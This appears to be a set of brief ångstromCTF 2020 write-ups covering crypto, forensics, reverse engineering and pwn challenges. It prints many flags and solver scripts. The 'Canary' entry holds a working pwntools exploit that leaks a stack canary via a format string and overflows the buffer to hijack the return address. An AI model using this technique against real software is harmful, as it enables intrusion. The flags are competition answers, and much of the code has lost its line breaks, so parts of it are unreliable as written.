Have a bit of an experiment The input is broken down into 4 chunks of 8 Imagine the output like a grid The first character is converted to binary and written to the grid like a diagonal line, with the lsb at the top. For the next character the line is shifted to the right one, and so on until all characters in the chunk have been written. This repeats for the next 3 chunks, except instead of 1, the numbers 2, 4 and 8 are written instead After the string is written 40 is added to all squares and it is converted to ascii. To solve, unconvert, subtract 40 and reverse the process gg, beat woak
actf{b1gg3r_4nd_b4dd3r_l4ngu4g3}
Git Good
/.git/index
/./git/thisistheflag.txt
"The flag was here"
Look in hex - line 01050 - be ba 0d f0 That spelled backwards is f00dbabe Open cutter, go to graph, main 'cmp eax, 0x1337beef' Convert that to the format it needs
python -c "import pwn; print(pwn.p32(0x1337beef))" | hd - ef be 37 13
All we had to find was a'/a and apply it on b'wb to get a'b'wba to get our solution but reversing it to achieve fewest moves. i did a'waw' to find the differences between the 2 scrambles. luckily only corners were affected so i can take less time. i then analysed the movement of corners swaps of w and represented them in Old Pochmann notation: ANTXPDGJ afterwards i mapped out the corner swaps of a'wa also represented in Old Pochmann notation: AMPHFNLO then i got a sheet of paper and mapped out a'wa corner pieces onto the corner swaps of w to find the setup move (a = B U B U D' F' L2 F U2 L2 U' L2 D F2 U2 F2 U' B2). After filling the cube corners out i plugged it into the rubiks cube solver to get a. i applied it onto b'wb and then plug it into the rubiks cube solver again and reverse the solution to get the flag.
WS3
http.request.method == GET on wireshark
Export Objects > HTTP > git-receive-pack
Create a new git repo
Place in the git repo
Open in hex editor and fix the file header to be just 'PACK' at the beginning (remove all the crap)
Now git unpack-objects < git-receive-pack
Navigate to objects folder, here there are 3 git objects:
You will get a number of different outputs
Look for one that has the last letter of flag.txt xor'ed in the same place as the } xor'ed was on the shell
Dexor
Reassemble the flag
GG;No re
actf{dream_of_califrobnication_1f6d458091cad25}
Xmas Still Stands
Report that, bam ez
Wacko Images
We have ab mod c = d where we know b (key), c (251), and d (encrypted pixel value). Multiplying by the modular inverse of b gets us: a mod c = d * b^-1 mod c
Calculate this for every pixel in the image with a script, and you get an image that contains the flag.
The flag is:
actf{m0dd1ing_sk1llz}
Shifter
actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}
Canary
Use pattern.py to flood the second input, put a breakpoint at the line in greet which compares the canaries. Check rax using gdb, feed that back into pattern.py, 56 bytes before canary. Fuzz format string output until you find the one that's always 8 bytes long, that's the canary Make a script that leaks the canary then overflows the buffer with 56 junk bytes + canary + 8 junk bytes + flag address
Note: canary is just before ebp, which is why you must put 8 junk bytes to fill up ebp
Inputter
Look at the source code, gives you the arguments that you need to put into the program, and what you must type in the buffer. They are unprintable characters, so use a python script to run it
actf{inhale_exhale_ezpz-12309biggyhaby}
Noisy
So i averaged the first 10 nums and gave it a number as well as add 0.5 (to reverse what the source did) this gave me binary and i replaced it with values from source. i shoved it into a morse code decoder to get a pattern and then brute forced the flag by guessing what the letters could be
import socketimport refibo = [0,1,1,2,3,5,8,13,21,8,3,11,14,25,13,12,25,11,10,21,5,0,5,5,10,15,25,14,13,1,14,15,3,18,21,13,8,21,3,24,1,25,0,25,25,24,23,21,18,13]deffibshift(num,msg): list1 = [chr(ord(i)+fibo[num])for i in msg] list2 = [chr(ord(j)-26)iford(j)>90else j for j in list1]return"".join(list2)clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)clientsocket.connect(('misc.2020.chall.actf.co', 20300))for i inrange(0, 50): message = clientsocket.recv(2048) task = [k for k in message.splitlines()if"Shift"in k][0] clientsocket.send(fibshift(int(re.search('by n=(.*)', task).group(1)), re.search('Shift (.*) by', task).group(1)) +"\n")print(clientsocket.recv(2048))
from pwn import*import ree =ELF("./canary")p =remote("shell.actf.co" ,20701)for _ inrange(23): p.recvline()p.recvline()p.sendline("%17$lx")flagaddr =0x0000000000400787output = p.recvline()num = re.findall("Nice to meet you, (.*)!", output)canary =int(num[0], 16)log.info("Canary: "+hex(canary))firstpad ='A'*56#Junk before the canarycanaryString =p64(canary)neweip =p64(flagaddr)lastpad ='B'*8payload = firstpad + canaryString + lastpad + neweipp.sendline(payload)log.info("Response: "+ p.recvline())
from PIL import Imagetemp =0im = Image.open('breathe.jpg', 'r')im2 = Image.open('output.png', 'r')pix_val =list(im.getdata())pix_val2 =list(im2.getdata())flag = []pix_list =zip([x for sets in pix_val for x in sets], [x for sets in pix_val2 for x in sets])for i in pix_list:iflen(str(i[1]))<len(str(i[0])): temp *=10elif i[1]==255: temp *=10else: temp = (temp*10)+int(str(i[1])[0])iflen(str(temp))==3: flag.append(chr(temp)) temp =0eliflen(str(temp))==2and temp !=11and temp !=12and temp !=10: flag.append(chr(temp)) temp =0print("".join(flag))
import numpy as npfrom random import gaussimport mathout2 = "100100101101000011011011000010100001010000001101011011000011010010010110110000101000010101000010111100001101000011011011000111100001010000101101010011000011010000110100110000100000010101000010101100001101000011011011000010100001010100000111011011001010010001110110110000101100110101000010101100001101000011011011000010100001010100001101011011000011010000110110110000100000010101000010101100000011100011111011000010000001010100001101011011000011010100110110110000101000010101010010111100001100000011011110000010100011010100001101011011001011110000010110110000101000010101000010101100011101000011011011000010100001010110001100011011000011010100111010110001101000010101000010101100001101000011011011000010100001010110001101011011000011010000110110111010101010010101000010101110001101000011010011000010100001010100001101011011000011010000110100110000101000010101000010101100001101000011011011000010100001010100001111011011100011010000101110110000101000010101000010101100001101000011011011000010100011010100101101011011000011110000110100010000111000010101000010101000001101010011011011000010100000010100000101011011000011010000110110110000101000010101000010101000001101000011011011000010100001010100001101011011000011010000110110110000101000010101000110101100001101010011011111000010100001010100001101011011000001110000110110110000101001010101001010101100001001001011011010000010100001010101001101011111000011010100010110110000101000010101000010101100001101000011011011001010000000010100001101011011000011010000110110110000101000010101000010101100001101100011011011010000110001010000001101011011000011010000110110110000101000010101001011101100001101000011011010000010100001010101001001011011000011011000110110010000101001010101000010101100001111000011011011000010110001010100101101011011000011010000110110111000101000010100000010101100001101010011011011000010100001010100001101011011000011011000110110110001101000011101001010101100001001000011011011000010100010010100001101011011000011010000110100100000101000010101000010111100001101000111011011000010100001010100001101011001000011010000110110110000101000110101000000101100001101010011011011001010101001010100001101111011000011010000110110110000101000010111000010101100001101000011011011000010100001010100011101011011000011010001110110100000101000010101000010101100001101000011011011000010100101010100001101011011000011010000110110110000101000000101000010101110001101000011011111000110100001010100001101011011000011010000110110110000001000011000000110101100000101000011011011000010100001010100000101011011000011010100110110110000101001010100001010101100001101000011011001000010101011010100001101011111000011010000110010110000101000010101000010100100001101000011011011001010100001010100001101011111000011010000110110100000101010000101000010101100001101000011111011000000110001011100001111011011000011010000011110110000101000010101000010"
out = []out2 =""withopen("flag.txt","r")as f: cont = f.read().split("\n") sums =0for i,num inenumerate(cont): sums +=float(num) sums +=float(cont[i+14400])if (i +1)%10==0: out.append(sums/20+0.5) sums =0if i ==14399:breakfor i in out: a =round(i)if a <0: a =0if a >1: a =1 out2 = out2 +str(a)print(out2)"""10010-11012010000110110110000101000010100000011010110120000110100100101101100002010-10010101000010111100002102000011-111011000111100001010000101101020011000011010000210100110000100000010101000-110101100-102201000011011-111-1-100101000-110201000-101120120110010200100011101101100002011001101020000101011000-111010000120110210000101000010101000011010110110000110100001101101100001000000101-110000101011000000111000121110110000100000010101-10001101-111011000011-1101001101101100-101010-100101-1101001011120000110000-1-111011110000-11010001101010000110201102100101111000001011011000-1101000-11010100-1010101100012101-100011011012000020100001010110001100011011000011-11010-1111020110-10110100001010100001-1101100001101000011011011000010100001010110001102021011000-1110100-1011011011101010101001010100001010111-10-1210100001101001100001-110000101010000110101101100-1011010000110100110000101000010101-1000201011000011-11-1000110110110000101000010101000011110120121000110100-1010122011000-11010-10020101000-1101011000011-1100-1011011011000010100011010100101101011011000011110000110100020000111000010101000-1102010000011010100110110110000101000000101000001010110110-10011-11000011011011000010100001010100001010100-1001101000011011011000010100001-1101-1000110101101100001101000011021011-10-1010100001010100011-1101100001101010011011111-10-1010100001010100001101011-111000001120000110110110000101001010101001010101100002001001011021010000010100001010101001101011111000012010100010110110000101000010101-1000101012000011010-10-11101101100101000000001010000110102101100001101000011011011-100-110100002010100001010110000110110001101101101-1000110001010000-1011010110110000110100001201101100001010000101010010111011-10-10110100001101102000-1-110100001010101001001011-1110000110110001101100100001010010101010000101011000011110000110110120000101100020101001011010110110000110100001101101110002010000102-1000002010110000110101001101101100001010000101010000210101101100001202100011011011000110100001110200101010110000100100001101101100001-11000100101000012010110110000110100002101001000001010000101010000101111000011010001110110110-1001010000101010000110101100100001101-1000110110110000101-1001101-110-10000201100001101010011021-111001010101001010100001101111011000011-1100001101101100002010000101110000101011000011010000110110110000101-1000101010001120101101100001101-10011101101000-10101000010101000010101100001101-100011022011000010100101010100001101021021000011-11000011011011-100020100000-1101000010101110001101000-121011111000110100002010100001101011011000011010000110110110000001000011000000110101100000101000011011011-1000101000020101000-10101011011-1-100110101002101101100001010010201000010101-11100001101000011011001000010101011-11010000210101111100001101000011001011-1000101000010101000010100200001101000-121011011001010100001010100001101021111000-11101000011011010-10001010100001010-10010101100001101000011111011000000110-10101110-1-10111102102100001101000001111011000010100001010100001-1"""
print(len(out2))out3 = out2out4 = out3.replace("110","-")out4 = out4.replace("000"," ")out4 = out4.replace("10",".")#out4 = out4.replace("00","")out4 = out4.replace("0","")out4 = out4.replace("1",".")print("---------")print(out4)input()
Consolation
In console:
for(i=0; 1<9999; i++){nofret()}
Flag will appear in console
actf{you_would_n0t_beli3ve_your_eyes}
clam clam clam
nc misc.2020.chall.actf.co 20204 | more
type "clamclam" for salvation
type "clamclam"
actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}
Signal_of_hope
Open program in cutter and disassemble main
call signal ; sym.imp.signal ; void signal(int sig, void *func)
Looking at "linux 7 signal" - we see a load, so I bruteforced them all until one worked - found it was SIGABRT This means that we need to kill the program , or abort it Spinning it up on the shell, we have to do
sh -c 'echo $$; exec myCommand'
Which gives up the PID of the program and then runs it Open up a new shell, and do "kill -6 PID"
Bam!
String "ZFOKYO\nMC\O\nLFKM" seen in memory About where the password is compared XOR it with the key 2a to get 'please give flag' with newlines removed.
Wooosh
Deobfuscate all the code and after finding this line
This sends a post that'll send mouse coords. after i messed around a bit i realised that the shapes coords are different from the one they send to you so i guess something happens with them (not sure what tho). i then analysed the thingies going on in network which was always in the pattern start [get shapes, send coords, get score] and found the code to find mouse coords (see deobfuscated js) was consistent with where the shapes are displayed. after that i looked at the code that draws out the shapes with the coord and figured out how it knows whether to draw a circle or square. which was:
If you know a little js, it chooses the first element of the shapes list to be a circle and the rest are squares. after that i checked whether the shapes list matches the shapes list going in through the network and found they were different. The shapes list was correct and matched the coords of the circle and after analysing a thingy that sends my mouse coords, they were roughly the same which meant i could create the payload
Go to the place where the file is and run it, then it asks you to do it with banana as an argument, then do
./revving_up "banana" and do what it says
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
One Time Bad
Run the server script at same time as nc
Use sample to make sure randomness is same
On local pick option 2 and get wrong to receive answer
^C ^V into netcat
gg
